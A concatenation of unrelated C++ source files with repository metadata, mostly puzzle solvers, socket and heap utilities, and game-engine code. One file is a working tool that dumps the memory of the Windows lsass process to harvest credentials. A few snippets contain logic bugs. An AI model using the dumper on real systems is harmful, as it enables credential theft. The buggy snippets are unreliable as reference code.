a_tin, double a_tol = -1) = 0; virtual void AddBreakline(const VecInt& a_line) = 0; virtual void AddBreaklines(const VecInt2d& a_line) = 0; virtual std::string ErrorMessage(int) const = 0; /// \endcond protected: TrBreaklineAdder(); virtual ~TrBreaklineAdder(); private: XM_DISALLOW_COPY_AND_ASSIGN(TrBreaklineAdder) }; // class TrBreaklineAdder } // namespace xms
948abd4a2e6089ec7b20ee5a5bbe8f7c17f74d63
77fccb94f37a6256dff79ab4995c9677d9bb5fa4
/rotation.cpp
98e9f5b80324183c559046cf634f56ca6d87211e
[]
no_license
dingzhaohan/PythonHW
53d6998de578c8b2fe4a1f28ee24f769c4e174b9
406740a97c56f2db964276ccee9a3a58433a9e66
refs/heads/master
2020-04-26T04:47:49.395365
2019-05-13T15:58:11
2019-05-13T15:58:11
173,307,828
0
0
null
null
null
null
UTF-8
C++
false
false
4,223
cpp
rotation.cpp
#include <iostream> #include <cstring> #include <string> using namespace std; int map[9][9]; int path[100000]; char rotation[8] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H'}; void input() { memset(map, 0, sizeof(map)); memset(path, -1, sizeof(path)); cin >> map[1][3]; if(map[1][3] == 0) return; cin >> map[1][5]; cin >> map[2][3]; cin >> map[2][5]; for(int i = 1; i <= 7; ++i) cin >> map[3][i]; cin >> map[4][3] >> map[4][5]; for(int i = 1; i <= 7; ++i) cin >> map[5][i]; for(int i = 6; i <= 7; ++i) cin >> map[i][3] >> map[i][5]; } void print() { cout << number++ << endl; for(int i = 1; i <= 7; ++i) { for(int j = 1; j <= 7; ++j) { cout << map[i][j] << ' '; } cout << endl; } } //evaluate int h() { int num[5]; memset(num, 0, sizeof(num)); for(int i = 3; i <= 5; ++i) { for(int j = 3; j <= 5; ++j) { if(!(i == 4 && j == 4)) num[map[i][j]]++; } } int maxnum = 0; for(int i = 1; i <= 3; ++i) { if(num[i] > maxnum) maxnum = num[i]; } return 8 - maxnum; } bool judge() { int num[5]; memset(num, 0, sizeof(num)); for(int i = 3; i <= 5; ++i) { for(int j = 3; j <= 5; ++j) { if(!(i == 4 && j == 4)) num[map[i][j]]++; } } return (num[1] == 8 || num[2] == 8 || num[3] == 8); } void rotate(int i) { switch(i) { case 0:{//A for(int k = 0; k <= 6; ++k) { map[k][3] = map[k + 1][3]; } map[7][3] = map[0][3]; };break; case 1:{//B for(int k = 0; k <= 6; ++k) { map[k][5] = map[k + 1][5]; } map[7][5] = map[0][5]; };break; case 2:{//C for(int k = 8; k >= 2; --k) { map[3][k] = map[3][k - 1]; } map[3][1] = map[3][8]; };break; case 3:{//D for(int k = 8; k >= 2; --k) { map[5][k] = map[5][k - 1]; } map[5][1] = map[5][8]; };break; case 4:{//E for(int k = 8; k >= 2; --k) { map[k][5] = map[k - 1][5]; } map[1][5] = map[8][5]; };break; case 5:{//F for(int k = 8; k >= 2; --k) { map[k][3] = map[k - 1][3]; } map[1][3] = map[8][3]; };break; case 6:{//G for(int k = 0; k <= 6; ++k) { map[5][k] = map[5][k + 1]; } map[5][7] = map[5][0]; };break; case 7:{//H for(int k = 0; k <= 6; ++k) { map[3][k] = map[3][k + 1]; } map[3][7] = map[3][0]; };break; default:break; } } int value; bool limited_depth_search(int depth, int bound) { if(judge()) return true; if(depth + h() > bound) return false; for(int i = 0; i < 8; ++i) { rotate(i); path[depth] = i; if(limited_depth_search(depth + 1, bound)) { value = map[3][3]; return true; } switch(i) { case 0:rotate(5);break; case 1:rotate(4);break; case 2:rotate(7);break; case 3:rotate(6);break; case 4:rotate(1);break; case 5:rotate(0);break; case 6:rotate(3);break; case 7:rotate(2);break; } path[depth] = -1; } return false; } int main() { while(true) { input(); if(map[1][3] == 0) break; if(judge()) { cout << "No moves needed" << endl; cout << map[3][3] << endl; continue; } for(int bound = 1; bound < 100; ++bound) { bool result = limited_depth_search(0, bound); if(result) { for(int i = 0; i < 100000; ++i) { if(path[i] == -1) break; cout << rotation[path[i]]; } cout << endl; cout << value << endl; break; } } } return 0; }
86103437cd2c76fa6c3e0aac4a5658da11851124
b89471f10705a92ee5dce5862f717d1a46fbc887
/sources/udp_socket.cpp
b2e9d73afd428ab7521ac692157c51463d3865f9
[]
no_license
s14028/sockets
3124f1a7776186d6582c70a7f00a885e9183d1d9
a78a426076306e61cabc4c0c45be4e2c4e95b52f
refs/heads/master
2021-03-24T12:08:49.054296
2018-06-16T21:08:19
2018-06-16T21:08:19
105,684,779
0
0
null
null
null
null
UTF-8
C++
false
false
1,849
cpp
udp_socket.cpp
#include "udp_socket.h" #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> namespace sck { udp_socket::udp_socket() { } void udp_socket::set_socket() { socket_int = ::socket(AF_INET, SOCK_DGRAM, 0); } bool udp_socket::bind(const std::string IP, const std::uint16_t port) { sockaddr_in socket_info; std::memset(&socket_info, 0, sizeof(sockaddr_in)); bool could_bind = socket::bind(socket_info, IP, port); if(!could_bind) { return false; } return ::bind(socket::get_socket_int(), (sockaddr*)&socket_info, sizeof(sockaddr_in)) == 0; } unsigned int udp_socket::write(const std::string IP, const std::uint16_t port, std::string& data) { char* array = static_cast<char*>(std::data(data)); unsigned int number_of_bytes = std::size(data); sockaddr_in socket_info; std::memset(&socket_info, 0, sizeof(sockaddr_in)); hostent* address = gethostbyname(std::data(IP)); if(!address) { return false; } std::memcpy(&socket_info.sin_addr.s_addr, address->h_addr, address->h_length); socket_info.sin_family = AF_INET; socket_info.sin_port = htons(port); sendto(socket_int, array, number_of_bytes, 0, (struct sockaddr*) &socket_info, sizeof(sockaddr_in)); return true; } std::tuple<const std::string, const std::uint16_t, std::string> udp_socket::read(const unsigned int number_of_bytes) { std::string data(number_of_bytes, '\0'); char* array = static_cast<char*>(std::data(data)); unsigned int sa_size = sizeof(sockaddr_in); sockaddr_in socket_info; std::memset(&socket_info, 0, sa_size); recvfrom(socket_int, array, number_of_bytes, 0, (struct sockaddr*) &socket_info, &sa_size); std::string IP = inet_ntoa(socket_info.sin_addr); std::uint16_t port = ntohs(socket_info.sin_port); return std::make_tuple(IP, port, data); } void udp_socket::close() { ::close(socket_int); } }
30278864df9291018e94b47cf54c018d8068343c
76005c09d8768c2c67e4bfab75ce86860ecb12a7
/lsass_minidump/lsass_minidump/lsass_minidump.cpp
76210b987fe91f5bc82da7224fb34f61e7628ab9
[]
no_license
mtoreihi/security_tools
7788da4c1b7a4eb01ae70f8685823e63d337b6d9
61552ad70b2a76496cb9e08afc85b31d58eaa463
refs/heads/master
2023-08-19T10:04:54.048404
2023-07-28T18:24:19
2023-07-28T18:24:19
187,004,776
3
1
null
null
null
null
UTF-8
C++
false
false
2,485
cpp
lsass_minidump.cpp
/** Mehran Toreihi mtoreihi@gmail.com 1398-02-26 2019-05-16 */ #include <windows.h> #include <DbgHelp.h> #include <iostream> #include <TlHelp32.h> #include <strsafe.h> using namespace std; bool SetPrivilege(LPCWSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES priv = { 0,0,0,0 }; HANDLE hToken = NULL; LUID luid = { 0,0 }; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { if (hToken) CloseHandle(hToken); return false; } if (!LookupPrivilegeValueW(0, lpszPrivilege, &luid)) { if (hToken) CloseHandle(hToken); return false; } priv.PrivilegeCount = 1; priv.Privileges[0].Luid = luid; priv.Privileges[0].Attributes = bEnablePrivilege ? SE_PRIVILEGE_ENABLED : SE_PRIVILEGE_REMOVED; if (!AdjustTokenPrivileges(hToken, false, &priv, 0, 0, 0)) { if (hToken) CloseHandle(hToken); return false; } if (hToken) CloseHandle(hToken); return true; } int main() { DWORD lsassPID = 0; HANDLE lsassHandle = NULL; HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); LPCWSTR processName = L""; if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processName, L"lsass.exe") != 0) { Process32Next(snapshot, &processEntry); processName = processEntry.szExeFile; lsassPID = processEntry.th32ProcessID; } wcout << "[+] Got lsass.exe PID: " << lsassPID << endl; } SetPrivilege(L"SeDebugPrivilege", TRUE); lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID); BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL); if (isDumped) { cout << "[+] lsass dumped successfully!" << endl; } else { cout << "[-] error generating dump!" << endl; DWORD dw = GetLastError(); LPVOID lpMsgBuf; LPVOID lpDisplayBuf; FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dw, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)& lpMsgBuf, 0, NULL); lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf) + 40) * sizeof(TCHAR)); StringCchPrintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR), TEXT("%d: %s"), dw, lpMsgBuf); printf("Error: %ls\n", lpDisplayBuf); } return 0; }
0460ad34da6546cfdaddbba59b630c0ecfb64cf4
a602b22acea1c34ae0fcf68a1ffb9e1339852e93
/src/Math/Constant.cpp
8a55b4c0fa9cb826fc68e53103a66a9e099627eb
[]
no_license
alexlitty/tree-simulator
2505878dea8a0cb84b7556285a83c3022c141e6f
ca2f4e7ac65b81bfae59e5abdcf7460555311dd4
refs/heads/master
2021-01-19T02:20:53.985363
2018-12-24T11:35:38
2018-12-24T11:35:38
34,832,492
0
0
null
null
null
null
UTF-8
C++
false
false
559
cpp
Constant.cpp
#include <cmath> #include <tree/Math/Constant.hpp> const float tree::PI = std::acos(-1); const float tree::QUARTER_PI = tree::PI / 4; const float tree::THREE_QUARTERS_PI = 3 * tree::QUARTER_PI; const float tree::FIVE_QUARTERS_PI = 5 * tree::QUARTER_PI; const float tree::SEVEN_QUARTERS_PI = 7 * tree::QUARTER_PI; const float tree::THIRD_PI = tree::PI / 3; const float tree::TWO_THIRDS_PI = 2 * tree::THIRD_PI; const float tree::HALF_PI = tree::PI / 2.0f; const float tree::THREE_HALVES_PI = 3 * tree::HALF_PI; const float tree::TWO_PI = tree::PI * 2.0f;
7152f624feb4684113a68d1d1e76b69e93cd72cd
673808e15420513da384b7e4d9536104eb7c7528
/kattis/armystrengthhard - Army Strength (Hard).cpp
43ff3bf8270fdeb4adf707212ae25a0137cc14c2
[]
no_license
manshantsingh/street-coding
8657a4c081b09a19c3e2eb21b67fc70f892dad54
7c28343150a6a775682aa80735c1f1197c6eea54
refs/heads/master
2021-08-23T06:49:46.137744
2017-12-04T00:42:31
2017-12-04T00:42:31
111,234,907
0
0
null
null
null
null
UTF-8
C++
false
false
712
cpp
armystrengthhard - Army Strength (Hard).cpp
#include <iostream> #include <algorithm> using namespace std; int main(){ int t;cin>>t; while(t--){ int lg, lb;cin>>lg>>lb; int bg=0,tg=0,bb=0,tb=0; for(int i=0;i<lg;i++){ int x;cin>>x; if(x>bg){ bg=x; tg=1; } else if(x==bg) tg++; } for(int i=0;i<lb;i++){ int x;cin>>x; if(x>bb){ bb=x; tb=1; } else if(x==bg) tg++; } if(bg>bb) cout<<"Godzilla"; else if(bg<bb) cout<<"MechaGodzilla"; else cout<<(tg>=tb?"Godzilla":"MechaGodzilla"); cout<<endl; } return 0; }
2889efefa77b656ec88648a216125f41d10abf50
bab0315583f277da15109bdb335760224c521aa1
/이전 디렉토리별 정리/Extra problems/11399번(ATM).cpp
06b7d769ba04c75012a06c75aef771e2b375fa11
[]
no_license
juyoungIt/PS
13cc3870fcd88f2fea51200c037cb8d63c0b396a
0666a7a90642e3768e3ab9819b64197a9aec857b
refs/heads/master
2022-07-05T04:27:45.593694
2020-05-17T13:52:21
2020-05-17T13:52:21
null
0
0
null
null
null
null
UTF-8
C++
false
false
337
cpp
11399번(ATM).cpp
#include <cstdio> #include <algorithm> using namespace std; int main(void) { int n; scanf("%d", &n); int *a = new int[n]; for (int i = 0; i < n; i++) scanf("%d", &a[i]); sort(a, a + n); for (int i = 1; i < n; i++) a[i] += a[i - 1]; int sum = 0; for (int i = 0; i < n; i++) sum += a[i]; printf("%d", sum); delete a; return 0; }
73e609e68986ab2ba5285b086ec321dc602e9dcb
d07bc5b22efebbc0914253433292e9897e3d0ab7
/structures/heap.hpp
4b57a75d2053c8ac5ad74b34293fd4c705040881
[ "MIT" ]
permissive
Instand/Algorithms
fcca879ddff437547738e0d9af51669728df710f
079ac867932e65e0936eab08b3176dc2d68bf684
refs/heads/master
2020-07-05T06:49:22.810710
2020-03-31T13:36:29
2020-03-31T13:36:29
202,559,766
2
0
null
null
null
null
UTF-8
C++
false
false
3,048
hpp
heap.hpp
#ifndef HEAP_HPP #define HEAP_HPP #include <vector> #include <utility> #include <utils.hpp> namespace cs { namespace helper { template<typename Iter> constexpr Iter left(Iter begin, typename std::iterator_traits<Iter>::difference_type index) { auto i = (index * 2) + 1; return std::next(begin, i); } template<typename Iter> constexpr Iter right(Iter begin, typename std::iterator_traits<Iter>::difference_type index) { auto i = (index * 2) + 2; return std::next(begin, i); } } class Heap { public: template<typename Iter> static bool checkHeap(Iter begin, Iter end) { auto length = std::distance(begin, end); for (Iter b = begin; b != end; ++b) { auto index = length - std::distance(b, end); auto [first, second] = std::make_pair(std::next(begin, (index * 2) + 1), std::next(begin, (index * 2) + 2)); if (first < end) { if ((*first) > *b) { return false; } } if (second < end) { if ((*second) > *b) { return false; } } } return true; } template<typename Iter> static void fixUp(Iter begin, Iter end) { if (begin == end) { return; } auto e = std::prev(end); auto length = std::distance(begin, end); while (begin != end) { auto index = length - std::distance(e, end); auto prev = std::next(begin, (index - 1)/2); if ((prev < begin) || (*prev) >= (*e)) { break; } std::iter_swap(prev, e); e = prev; } } template<typename Iter> static void fixDown(Iter begin, Iter end) { auto length = std::distance(begin, end); auto b = begin; forever { auto distance = std::distance(b, end); auto index = length - distance; auto k = std::next(begin, index); auto j = std::next(begin, (index * 2) + 1); if (j >= end || k >= end) { break; } if ((std::next(j) != end) && (*j < *std::next(j))) { ++j; } if (!((*k) < (*j))) { break; } std::iter_swap(k, j); b = j; } } template<typename Iter> static void makeHeap(Iter begin, Iter end) { if (begin == end) { return; } for (auto iter = std::prev(end); iter >= begin; --iter) { Heap::fixDown(iter, end); } } }; } #endif // HEAP_HPP
9a1bdcd24ae01031152f283127db0b99362cdf18
f8b1dfccaef5a8f75567b527fc7c2f0a34e3877b
/codeforce/c559/pb.cpp
ba406e020d8a7cb7a6fdb9c6392e78080d0b96a4
[]
no_license
bamboohiko/problemSolve
e7e2a2c6e46a4d10ccfa54cffff3c9895b3ddb1b
cd3e9e5986325f5def4efe01975a950f6eaa6015
refs/heads/master
2021-01-17T06:39:42.502176
2017-09-13T14:30:08
2017-09-13T14:30:08
47,928,189
0
0
null
null
null
null
UTF-8
C++
false
false
783
cpp
pb.cpp
#include<iostream> #include<cstdio> #include<map> #include<set> #include<vector> #include<stack> #include<queue> #include<string> #include<cstring> #include<sstream> #include<algorithm> #include<cmath> using namespace std; const int maxn = 2e5 + 100; char a[maxn],b[maxn]; bool dfs(int l1,int l2,int len) { bool ans = true; for (int i = 0;i < len; i++) if (a[l1 + i] != b[l2 + i]) { ans = false; break; } if (ans || len%2) return ans; else { int nlen = len >> 1; return dfs(l1,l2 + nlen,nlen) && dfs(l1 + nlen,l2,nlen); } } int main() { a[0] = b[0] = ' '; scanf("%s%s",a+1,b+1); if (dfs(1,1,strlen(a)-1)) printf("YES\n"); else printf("NO\n"); return 0; }
9484d0af3a5be51a35690430f21767909922db68
a2b28ba3349304ccb01b10edd9378a446d13abe6
/AIEditor/treeitem.cpp
370ba71e84c65561af2f47d5a18012c2d4c6e8ed
[]
no_license
TheAnswer/Tools
9bec3570be8023c262eb7b6b4271bccad2008c48
880a68f618290445dd770e1b52176083244768f3
refs/heads/master
2023-08-17T07:44:54.870503
2020-05-10T20:32:32
2020-05-23T17:55:51
9,735,112
5
18
null
null
null
null
UTF-8
C++
false
false
447
cpp
treeitem.cpp
#include "treeitem.h" #include "composite.h" TreeItem::TreeItem(Node *parent) : parent(parent) { data["Name"] = "none"; data["iName"] = ""; data["fName"] = ""; data["ID"] = "none"; data["parentID"] = ""; } TreeItem::TreeItem(const QMap<QString, QVariant> &data, Node *parent) : data(data), parent(parent) {} TreeItem::~TreeItem() { } int TreeItem::childNumber() { if (parent) return parent->getIndex(this); return 0; }
1c491beae0c56784280e0d3ff2b5ad2286b4b715
2a3870d98c9fca4e9eb405da976cc58b97da766c
/Earth's Domain/src/EarthDomainButtonEventHandler.h
694cd8356fa7834beeef6a7cedc80de2562e02b9
[]
no_license
jessicamofv/EarthsDomain
cf1a2929ae087754396861c3830c983a2963f835
383481dc88058dce3930b170e0c9376e3529dc96
refs/heads/master
2021-01-10T19:20:27.577499
2015-03-27T00:45:47
2015-03-27T00:45:47
32,895,134
1
0
null
null
null
null
UTF-8
C++
false
false
842
h
EarthDomainButtonEventHandler.h
/* *****Earth Domain Game***** Author: Laugh Out Loud Jeffrey Lin Jessica Mortellaro Jia Hao Wang CSE 380 EarthDomainButtonEventHandler.h This is a custom button event handler. Each game can choose to use different buttons and respond differently to when buttons are pressed. This class will handle button presses for the EarthDomainGame following the ButtonEventHandler pattern. */ #pragma once #include "stdafx.h" #include "src\input\ButtonEventHandler.h" class Game; class EarthDomainButtonEventHandler: public ButtonEventHandler { public: // AS-IS, THIS CLASS HAS NO DATA, SO THERE IS NOTHING // TO INITIALIZE OR DESTROY EarthDomainButtonEventHandler() {} ~EarthDomainButtonEventHandler() {} // DEFINED INSIDE EarthDomainButtonEventHandler.cpp void handleButtonEvents(Game *game, wstring command); };
4b0ef19eeee6b260ae9bd3dcc13c10410f813a22
ac087020d9725e366785c3513d156a7050dcb65f
/src/Player.cpp
04f21d8b4274b5b38dce4ba93d357fa6856dfcb8
[]
no_license
systemtwo/cellphoneescape-v2
9620ad40fd3300c0012133c85f445e237f4543aa
aac6d1df48d3ffccaa3bac2dca407cd19967a25f
refs/heads/master
2021-01-25T09:59:14.556951
2013-06-18T05:08:09
2013-06-18T05:08:09
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,893
cpp
Player.cpp
#include "Player.h" bool Player::texLoaded = false; sf::Texture Player::tex; Player::Player(int _x, int _y) { x = _x; y = _y; yspeed = 0; xspeed = 100; gravity = 500; name = "Player"; //sprite.setSize(sf::Vector2f(w, h)); collDown = 0; if (!texLoaded) { tex.loadFromFile("images/player.png"); texLoaded = true; } sprite.setTexture(tex, true); w = sprite.getLocalBounds().width; h = sprite.getLocalBounds().height; return; } void Player::update(float dt) { if (falling) { yspeed += gravity*dt; } else { yspeed = 0; } if (sf::Keyboard::isKeyPressed(sf::Keyboard::W) && readyToJump) { readyToJump = false; yspeed = -200; } y += yspeed*dt; if (sf::Keyboard::isKeyPressed(sf::Keyboard::D) && !rightBlocked) { x += dt*xspeed; std::cout << "Go Right" << std::endl; } else if (sf::Keyboard::isKeyPressed(sf::Keyboard::A) && !leftBlocked) { x -= dt*xspeed; std::cout << "Go Left" << std::endl; } sprite.setPosition(x, y); //sprite.setFillColor(sf::Color(0,255,255,255)); falling = true; rightBlocked = leftBlocked = false; //if (collDown > 0) { //y -= collDown; //collDown = 0; //} return; } void Player::draw(sf::RenderWindow* window) { window->draw(sprite); return; } void Player::onCollide(BaseObj* obj, Direction d, float dist) { if (d == DOWN) { falling = false; readyToJump = true; //collDown = dist; std::cout << "Pop up" << std::endl; y -= (dist); } if (d == LEFT) { leftBlocked = true; x += dist; std::cout << "COL Left" << std::endl; } if (d == RIGHT) { rightBlocked = true; x -= dist; std::cout << "COL Right" << std::endl; } if (d == UP) { if (yspeed < 0) { //Only push down if the player is moving up y += dist; yspeed = 0; } } return; } std::vector<BoundingBox> Player::getBoundingBoxes() { std::vector<BoundingBox> v; v.push_back(BoundingBox(x, y, w, h)); return v; }
39551dec8e9fb91ddc0c9572109e867cf72c4ccc
e58feb6fdf20aa22834da3a757e23228b67ad695
/kakao3.cpp
ac24cb95df9cb501fea029b90c180fe3545d44c5
[]
no_license
NAMYUNWOO/ProblemSolving
72e0ea65d5f4ba7a453a648b22968031543cd3a5
443133b7c8a2f2ac5b61fa87d2d0530df1cf87d6
refs/heads/master
2020-03-27T08:15:39.307194
2019-07-06T15:10:52
2019-07-06T15:10:52
146,237,526
0
0
null
null
null
null
UTF-8
C++
false
false
1,118
cpp
kakao3.cpp
#include <vector> using namespace std; int MOD = 20170805; vector<vector<int> >a; vector<vector<int> >DP; int getAns(int i,int j){ if (i == 0 && j == 0){ return 1; } if (i<0 || j< 0){ return 0; } if(DP[i][j] != -1){ return DP[i][j]; } if (a[i][j] == 1){ DP[i][j] = 0; return DP[i][j]; } DP[i][j] = 0; if (i-1>=0 && a[i-1][j] == 0){ DP[i][j] += getAns(i-1,j); }else if(i-1 >= 0 && a[i-1][j] == 1){ DP[i][j] += 0; }else{ DP[i][j] += getAns(i-2,j); if (i-1 == 0) DP[i][j] = getAns(i-1,j); } if (j-1 >= 0 && a[i][j-1] == 0){ DP[i][j] = (DP[i][j]+getAns(i,j-1))%MOD; }else if(j-1 >= 0 && a[i][j-1] == 1){ DP[i][j] += 0; }else{ DP[i][j] =(DP[i][j]+getAns(i,j-2))%MOD; if (j-1 == 0) DP[i][j] = getAns(i,j-1); } return DP[i][j]; } int solution(int m, int n, vector<vector<int>> city_map) { a = city_map; DP.assign(m,vector<int>(n,-1)); int answer = 0; answer = getAns(m-1,n-1); return answer; }
5bd77e4338590229268df74642a8a7b6fcec1baf
6c30e91a718d66e117f6ffb7e349aad5f4ca3027
/sofonline/R3BSofSciVsPspxOnlineSpectra.h
0d9ce29988d0d547f54bd6bf8e520edb4e6240fb
[]
no_license
R3BRootGroup/sofia
d98d980c95b16303af5e56090917ce7f2015d63a
1b5569ce39f1f1c0bd092d68200a6b84e4b0d239
refs/heads/dev
2023-06-24T01:38:43.959994
2023-06-07T22:58:25
2023-06-20T19:37:55
87,048,785
7
21
null
2023-06-08T13:56:07
2017-04-03T07:29:37
C++
UTF-8
C++
false
false
3,506
h
R3BSofSciVsPspxOnlineSpectra.h
// ------------------------------------------------------------ // ----- R3BSofSciVsPspxOnlineSpectra ----- // ----- Fill SOFIA online histograms ----- // ------------------------------------------------------------ #ifndef R3BSofSciVsPspxOnlineSpectra_H #define R3BSofSciVsPspxOnlineSpectra_H #include "FairTask.h" #include "TCanvas.h" #include "TH2F.h" #include "TMath.h" #include <array> #include <cstdlib> #include <fstream> #include <iostream> #include <sstream> class TClonesArray; class R3BEventHeader; /** * This taks reads SCI data and plots online histograms */ class R3BSofSciVsPspxOnlineSpectra : public FairTask { public: /** * Default constructor. * Creates an instance of the task with default parameters. */ R3BSofSciVsPspxOnlineSpectra(); /** * Standard constructor. * Creates an instance of the task. * @param name a name of the task. * @param iVerbose a verbosity level. */ R3BSofSciVsPspxOnlineSpectra(const char* name, Int_t iVerbose = 1); /** * Destructor. * Frees the memory used by the object. */ virtual ~R3BSofSciVsPspxOnlineSpectra(); /** * Method for task initialization. * This function is called by the framework before * the event loop. * @return Initialization status. kSUCCESS, kERROR or kFATAL. */ virtual InitStatus Init(); /** * Method for event loop implementation. * Is called by the framework every time a new event is read. * @param option an execution option. */ virtual void Exec(Option_t* option); /** * A method for finish of processing of an event. * Is called by the framework for each event after executing * the tasks. */ virtual void FinishEvent(); /** * Method for finish of the task execution. * Is called by the framework after processing the event loop. */ virtual void FinishTask(); /** * Methods to clean histograms. */ virtual void Reset_Histo(); void SetNbDetectors(Int_t ndets) { fNbDetectors = ndets; } void SetNbChannels(Int_t nchs) { fNbChannels = nchs; } void SetIdS2(Int_t id) { fIdS2 = id; } void SetTofS2min(Float_t tof, Int_t rank) { fTofS2min->AddAt(tof, rank); } void SetTofS2max(Float_t tof, Int_t rank) { fTofS2max->AddAt(tof, rank); } void SetBrho0(Float_t brho0) { fBrho0 = brho0; } void SetDispersionS2(Float_t dispersion_mm) { fDS2 = dispersion_mm; } void SetDispersionCC(Float_t dispersion_mm) { fDCC = dispersion_mm; } private: TClonesArray* fSciSTcal; // Array with SofSci Tcal items. TClonesArray* fSciCal; // Array with SofSci Cal items. TClonesArray* fPspxCal; // Array with Pspx Cal items. TClonesArray* fPspxHit; // Array with Pspx Hit items. Int_t fNbDetectors; Int_t fNbChannels; Int_t fIdS2; Float_t fBrho0; Float_t fDS2; Float_t fDCC; TArrayF* fTofS2min; TArrayF* fTofS2max; // check for trigger should be done globablly (somewhere else) R3BEventHeader* header; // Event header. Int_t fNEvents; // Event counter. // Canvas TCanvas** c_PspxE_vs_SciPosCal; // [fNbDetectors] TCanvas* c_PspxE_vs_BetaS2; TCanvas* c_PspxE_vs_AoQraw; TH2F** fh2_PspxE_vs_SciPosCal; // [fNbDetectors] TH2F** fh2_PspxE_vs_BetaS2; // TH2F** fh2_PspxE_vs_AoQraw; // public: ClassDef(R3BSofSciVsPspxOnlineSpectra, 1) }; #endif
de217f9788f155505419430f43b97e4151f9cb31
0426458cc0938715b0b7569a69cb8ed9c62a442b
/LuaNWNFunctions.cpp
b64555f4df9bda1b93e3afd1db6d409bcf508da2
[]
no_license
TerrahKitsune/xp_lua
49dd2615b9743f1c48147b0babe99ccf3984f305
c1c4601151a22b59da92f3df09af5de3206da079
refs/heads/master
2022-07-21T01:19:23.329970
2022-07-13T21:20:04
2022-07-13T21:20:04
74,283,100
5
1
null
null
null
null
UTF-8
C++
false
false
13,380
cpp
LuaNWNFunctions.cpp
#include "LuaNWNFunctions.h" #include "NwnLuaHooks.h" #include "lua_helper.h" nwn_objid_t GetObjID(lua_State*L, int idx) { int type = lua_type(L, idx); if (type == LUA_TNUMBER) { return (nwn_objid_t)lua_tointeger(L, idx); } else if (type == LUA_TSTRING) { const char * hex = lua_tostring(L, idx); if (hex == NULL) return OJBECT_INVALID; nwn_objid_t result; if (sscanf(hex, "%x", &result) == 1) return result; return OJBECT_INVALID; } else { return OJBECT_INVALID; } } int GetABVs(lua_State*L) { nwn_objid_t objid = GetObjID(L, 1); nwn_objid_t objidtarget = GetObjID(L, 2); if (objid == OJBECT_INVALID || objidtarget == OJBECT_INVALID) { lua_pop(L,lua_gettop(L)); lua_pushinteger(L, 0); return 1; } CNWSObject * object = (CNWSObject*)GetObjectByGameObjectID(objid); if (!object) { lua_pop(L, lua_gettop(L)); lua_pushinteger(L, 0); return 1; } CNWSObject * target = (CNWSObject*)GetObjectByGameObjectID(objidtarget); if (!target) { lua_pop(L, lua_gettop(L)); lua_pushinteger(L, 0); return 1; } CNWSCreatureStats* stats = GetCreatureStats(object); if (!stats) { lua_pop(L, lua_gettop(L)); lua_pushinteger(L, 0); return 1; } int result = OriginalGetAttackModifierVersus(stats, NULL, target); lua_pop(L, lua_gettop(L)); lua_pushinteger(L, result); return 1; } bool ApplyEffectId(CGameEffect * effect) { if (effect->NumbEffectInts < 11) { int * temp = (int*)NWN2_Malloc(sizeof(int) * 11); if (!temp) { return false; } memset(temp, 0, sizeof(int) * 11); memcpy(temp, effect->effectInts, sizeof(int) * effect->NumbEffectInts); NWN2_Free(effect->effectInts); effect->effectInts = temp; effect->NumbEffectInts = 11; effect->AllocEffectInts = 11; } effect->effectInts[10] = (int)effect; return true; } CGameEffect * GetEffect(lua_State*L) { nwn_objid_t objid = GetObjID(L, 1); int effectid = lua_tointeger(L, 2); if (objid == OJBECT_INVALID) { return NULL; } CNWSObject * object = (CNWSObject*)GetObjectByGameObjectID(objid); if (!object) { return NULL; } int effects = object->effects_len; CGameEffect * effect = NULL; for (size_t i = 0; i < effects; i++) { if ((int)object->effects[i] == effectid) { effect = object->effects[i]; break; } } return effect; } void lua_pusheffectdata(lua_State*L, CGameEffect * effect) { if (!effect) { lua_pushnil(L); return; } lua_createtable(L, 0, 15); lua_pushstring(L, "ID"); lua_pushinteger(L, (int)effect); lua_settable(L, -3); lua_pushstring(L, "Creator"); lua_pushobject(L, effect->Creator); lua_settable(L, -3); lua_pushstring(L, "Duration"); lua_pushnumber(L, effect->Duration); lua_settable(L, -3); lua_pushstring(L, "ExpireDay"); lua_pushinteger(L, effect->ExpireDay); lua_settable(L, -3); lua_pushstring(L, "ExpireTime"); lua_pushinteger(L, effect->ExpireTime); lua_settable(L, -3); lua_pushstring(L, "Exposed"); lua_pushboolean(L, effect->IsExposed); lua_settable(L, -3); lua_pushstring(L, "ShowIcon"); lua_pushboolean(L, effect->ShowIcon); lua_settable(L, -3); lua_pushstring(L, "SpellID"); lua_pushinteger(L, effect->SpellId); lua_settable(L, -3); lua_pushstring(L, "CasterLevel"); lua_pushinteger(L, effect->CasterLevel); lua_settable(L, -3); lua_pushstring(L, "LinkID"); lua_pushinteger(L, effect->LinkId); lua_settable(L, -3); lua_pushstring(L, "Type"); lua_pushinteger(L, effect->Type); lua_settable(L, -3); lua_pushstring(L, "SubType"); lua_pushinteger(L, effect->SubType); lua_settable(L, -3); lua_pushstring(L, "EffectStrings"); lua_createtable(L, 6, 0); for (size_t i = 0; i < 6; i++) { if (effect->EffectString[i].text) { lua_pushstring(L, effect->EffectString[i].text); } else { lua_pushstring(L, ""); } lua_rawseti(L, -2, i + 1); } lua_settable(L, -3); lua_pushstring(L, "EffectObjects"); lua_createtable(L, 4, 0); for (size_t i = 0; i < 4; i++) { 